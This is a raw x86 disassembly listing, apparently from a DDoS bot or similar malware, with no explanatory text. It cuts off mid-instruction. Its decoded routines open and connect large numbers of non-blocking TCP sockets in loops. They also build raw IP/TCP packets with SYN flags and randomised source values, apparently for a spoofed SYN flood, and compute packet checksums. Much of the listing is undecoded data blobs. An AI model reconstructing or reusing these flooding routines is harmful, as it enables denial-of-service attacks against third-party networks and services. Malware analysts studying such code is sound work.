0E8500043h, 805Eh, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h, 5959FFFFh dd 0BDB2E856h, 5F90022Ch ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414251 proc near ; CODE XREF: ___:0041433Ap var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CB9E4 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_41430F push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_41429C: ; CODE XREF: sub_414251+B9j lea esi, [ebp+var_654] mov ebx, edi loc_4142A4: ; CODE XREF: sub_414251+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_4142C7 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_4142C7: ; CODE XREF: sub_414251+64j add esi, 4 dec ebx jnz short loc_4142A4 lea esi, [ebp+var_654] mov ebx, edi loc_4142D5: ; CODE XREF: sub_414251+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_4142D5 push 64h nop call near ptr 2670EEFh lea esi, [ebp+var_654] mov ebx, edi loc_4142F9: ; CODE XREF: sub_414251+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_4142F9 dec [ebp+arg_4] jnz short loc_41429C pop edi pop esi pop ebx loc_41430F: ; CODE XREF: sub_414251+3Ej xor eax, eax leave retn sub_414251 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov edi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov esi, eax push esi push ebx push edi call sub_414251 add esp, 18h test eax, eax jnz short loc_414349 push 1 pop eax loc_414349: ; CODE XREF: ___:00414344j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414358 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+636Bo dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AD4h, 7EB8E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF72EAh, 90565959h, 2CBC0BE8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143F7 proc near ; CODE XREF: ___:004146E5p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CB954 test eax, eax jz short loc_414437 xor eax, eax jmp loc_4146A5 ; --------------------------------------------------------------------------- loc_414437: ; CODE XREF: sub_4143F7+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CBA88 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_41469D push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CB9C4 cmp eax, 0FFFFFFFFh jz loc_414693 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CB9E4 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CB9E4 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CB9E4 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CB9E4 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2780590h lea eax, [ebp+var_8] push eax call near ptr 278028Bh nop push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DB20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_414522: ; CODE XREF: sub_4143F7+25Dj ; sub_4143F7+26Bj mov [ebp+var_24], bx call sub_41C2C2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CB9E4 mov [ebp+var_34], ax call sub_41C2C2 mov edi, eax shl edi, 10h call sub_41C2C2 or edi, eax push edi call dword_4CB9E4 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CB9E0 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CB9E4 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CD20 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA5F mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CD20 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BF70 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA5F mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CD20 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CBA48 cmp eax, 0FFFFFFFFh jz short loc_414667 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 278028Bh mov eax, [ebp+var_4] cmp eax, esi jg short loc_414690 jl loc_414522 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414690 jmp loc_414522 ; --------------------------------------------------------------------------- loc_414667: ; CODE XREF: sub_4143F7+247j call dword_4CB978 push eax lea eax, [ebp+var_F4] push offset dword_437AFC push eax call sub_41C266 lea eax, [ebp+var_F4] push eax call sub_415D38 add esp, 10h jmp short loc_414693 ; --------------------------------------------------------------------------- loc_414690: ; CODE XREF: sub_4143F7+25Bj ; sub_4143F7+269j mov ebx, [ebp+arg_8] loc_414693: ; CODE XREF: sub_4143F7+78j ; sub_4143F7+297j push [ebp+var_C] call dword_4CBA7C pop esi loc_41469D: ; CODE XREF: sub_4143F7+5Bj call dword_4CB93C mov eax, ebx loc_4146A5: ; CODE XREF: sub_4143F7+3Bj pop edi pop ebx leave retn sub_4143F7 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8F0 push dword ptr [esp+18h] mov esi, eax call sub_41C159 push dword ptr [esp+20h] mov ebx, eax call sub_41C159 mov edi, eax call sub_41C2C2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143F7 add esp, 1Ch test eax, eax jnz short loc_4146F4 push 1 pop eax loc_4146F4: ; CODE XREF: ___:004146EFj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_414703 db 55h ; DATA XREF: sub_401ACD+6D3Do dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7A25h, 858D5059h, 0FFFFFE70h, 2415FF50h, 50004CBAh dd 5DE8h, 50595900h, 0FC6C858Dh, 1C68FFFFh, 5000437Bh dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22CB85Ch, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9F815FFh, 75FF004Ch dd 6815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CBA64h, 56D84D8Dh, 6A026A51h, 45895000h dd 0C415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h dd 4270B0h, 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9E415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 79A6h, 0E0458966h, 799DE8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 0E415FF50h, 56004CB9h, 0E2458966h dd 0B9E415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA4815FFh dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh dd 4CBA7C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_4149C1 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5306o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270B0h dd 0E850D7FFh, 78ACh, 0FF6859h, 36A0000h, 15FF026Ah, 4CBA64h dd 89FFF883h, 6675FC45h, 0B97815FFh, 8D50004Ch, 0FFFBC085h dd 7C3468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h dd 535959FFh, 2CB577E8h, 4D8D9002h, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CB9C415h, 0FFF88300h, 15FF6675h, 4CB978h dd 0C0858D50h, 68FFFFFBh, 437BFCh, 77ACE850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 0D7E8FFFFh, 59FFFF6Bh, 0E8905359h, 22CB4F8h, 0FDC4858Dh dd 0FF50FFFFh, 4CBA2415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 437BDC68h, 3BE85000h, 39000077h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh dd 0E8905359h, 22CB488h, 458D106Ah, 0E85053BCh, 73ECh dd 660CC483h, 2BC45C7h, 15FF5300h, 4CB9E4h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CBA2415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9E415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 0C7E82D74h, 8B000076h dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA2415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0E415FFFFh dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h dd 0E415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9E015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D4h, 7642E850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42AEECh, 7622E850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE4h dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CB9E4h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 0E415FF06h dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 7FCBE8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CBA4815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 7C15FFFCh, 0FF004CBAh, 4CB97815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 437B8C68h, 0C0858D00h, 68FFFFFBh dd 200h, 753AE850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 0E8905359h dd 22CB18Ch, 0FFFC75FFh, 4CBA7C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 437B3C68h, 0AFE85000h, 83000073h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh dd 90535959h, 2CB0FBE8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414F31 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414F23: ; CODE XREF: ___:00414F2Bj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414F23 pop edi cmp eax, 1 loc_414F31: ; CODE XREF: ___:00414F17j jnz short loc_414F3E mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414F3E: ; CODE XREF: ___:loc_414F31j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_414F57 db 55h ; DATA XREF: sub_401ACD+6C68o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 71D1h, 858D5059h, 0FFFFFE70h, 2415FF50h, 50004CBAh dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh dd 5Fh, 19CC481h, 8D500000h, 0FFFC6C85h, 7C6868FFh, 0E8500043h dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h, 75FF0000h dd 66D0E8F0h, 5959FFFFh, 0AFF2E856h, 5590022Ch, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B0h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 0BA6415FFh, 4589004Ch, 50D6FFF8h dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 0D9E89000h, 2B0227B5h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h dd 4CF1901Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h dd 6ED0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4CB988h, 0FF68h, 0E8016A00h, 3B11h, 0F505959h, 509E45B6h dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h, 42D91468h dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh, 7068FFFFh dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh dd 4CBA24h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h dd 15FFA845h, 4CB9E4h, 0AE458966h, 7199E8h, 45896600h dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h, 66000071h dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h dd 7155E8h, 0C8458900h, 66CC458Bh, 6AFF5025h, 0C6500C14h dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h, 66D45D89h dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h, 60858DFFh dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA4815h, 0FC45FF00h dd 0FFFE20E9h, 0F875FFFFh, 0BA7C15FFh, 458B004Ch, 5B5E5FFCh ; --------------------------------------------------------------------------- leave retn ; --------------------------------------------------------------------------- word_41525A dw 8B55h ; DATA XREF: sub_401ACD+4B97o dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh dd 1082C7FCh, 1000002h, 0F3000000h, 37E8A5h, 0C4810000h dd 214h, 0EC858D50h, 68FFFFFBh, 437C9Ch, 6FB4E850h, 858D0000h dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h, 0C483FFFFh dd 0E8006A14h, 22CAD30h, 0EC8B5590h, 254EC81h, 56530000h dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA6415h, 0FFF88300h dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E8Ch, 6F60E850h dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9C4h, 75FFF883h, 7815FF0Eh dd 50004CB9h, 437E3C68h, 8D1BEB00h, 0FF500C45h, 4CBA2415h dd 0FFF88300h, 15FF2075h, 4CB978h, 7DF86850h, 858D0043h dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch, 66570000h dd 2DC45C7h, 0E415FF00h, 66004CB9h, 8DDE4589h, 0E8500C45h dd 7169BF74h, 0B0358B90h, 89004270h, 0D6FFE045h, 8DF84589h dd 8D500C45h, 0FFFDAC85h, 7DCC68FFh, 0E8500043h, 6EBEh dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h dd 41Ch, 0FFBB05EBh, 39000000h, 4CF1903Dh, 6A527500h, 45895810h dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h dd 0FF50CC45h, 15FF0875h, 4CB988h, 0E8016A53h, 3795h, 0F505959h dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h, 0D91468ACh dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB7068h dd 21E85000h, 59000074h, 5C65659h, 4CED70h, 0E415FF45h dd 66004CB9h, 4CED72A3h, 0AC458D00h, 5C76650h, 4CED74h dd 89660001h, 4CED763Dh, 7805C600h, 80004CEDh, 0ED7905C6h dd 6611004Ch, 0ED7A3D89h, 15FF004Ch, 4CBA24h, 4CED7CA3h dd 0E0458B00h, 4CED80A3h, 8C858D00h, 50000000h, 8A3D8966h dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h dd 401h, 0EB52F9F7h, 8C858D0Eh, 50000000h, 6C64E8h, 0FF505900h dd 4CB9E415h, 86A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h dd 0F7000004h, 158966F9h, 4CED84h, 0B9E415FFh, 68004Ch dd 66000004h, 4CED88A3h, 6D90E800h, 0F7990000h, 8C6852FBh dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h dd 4CED70h, 0FFF475FFh, 4CBA4815h, 0FFF88300h, 0A5840Fh dd 45FF0000h, 0B0DEE8FCh, 2B900227h, 0D233F845h, 3E8B9h dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h dd 0FE74860Fh, 75FFFFFFh, 7C15FFF4h, 8B004CBAh, 858DFC75h dd 10Ch, 1CF66950h, 0E8000004h, 6BADh, 8BD23359h, 0C1C68BC8h dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D6868h dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh dd 0FF56FC75h, 4CB97815h, 458D5000h, 0DC68500Ch, 0EB00437Ch db 0ACh byte_41561D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6283o dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh dd 4CBA2415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h dd 7EB868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh dd 67AE850h, 75FF0000h, 6010E8F0h, 5959FFFFh, 31E89056h dd 5F022CA9h ; --------------------------------------------------------------------------- pop esi push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 cmp dword ptr [ebp+14h], 0 push esi push edi jnz short loc_4156FA push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] nop call near ptr 71AB3E5Dh jmp loc_4157B6 ; --------------------------------------------------------------------------- loc_4156FA: ; CODE XREF: ___:004156E4j mov esi, [ebp+8] push 1 pop edi lea eax, [ebp-8] push eax push 8004667Eh push esi mov [ebp-8], edi nop call near ptr 71AB155Ah push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push esi call dword_4CB98C push dword ptr [ebp+14h] lea eax, [ebp-210h] mov [ebp-108h], esi mov [ebp-10Ch], edi push 0 push eax lea eax, [ebp-10Ch] mov [ebp-20Ch], esi push eax lea eax, [esi+1] push eax mov [ebp-210h], edi call dword_4CB9CC test eax, eax jnz short loc_41575E or eax, 0FFFFFFFFh jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_41575E: ; CODE XREF: ___:00415757j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_415769 loc_415765: ; CODE XREF: ___:00415789j ; ___:004157ADj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: ___:00415763j lea 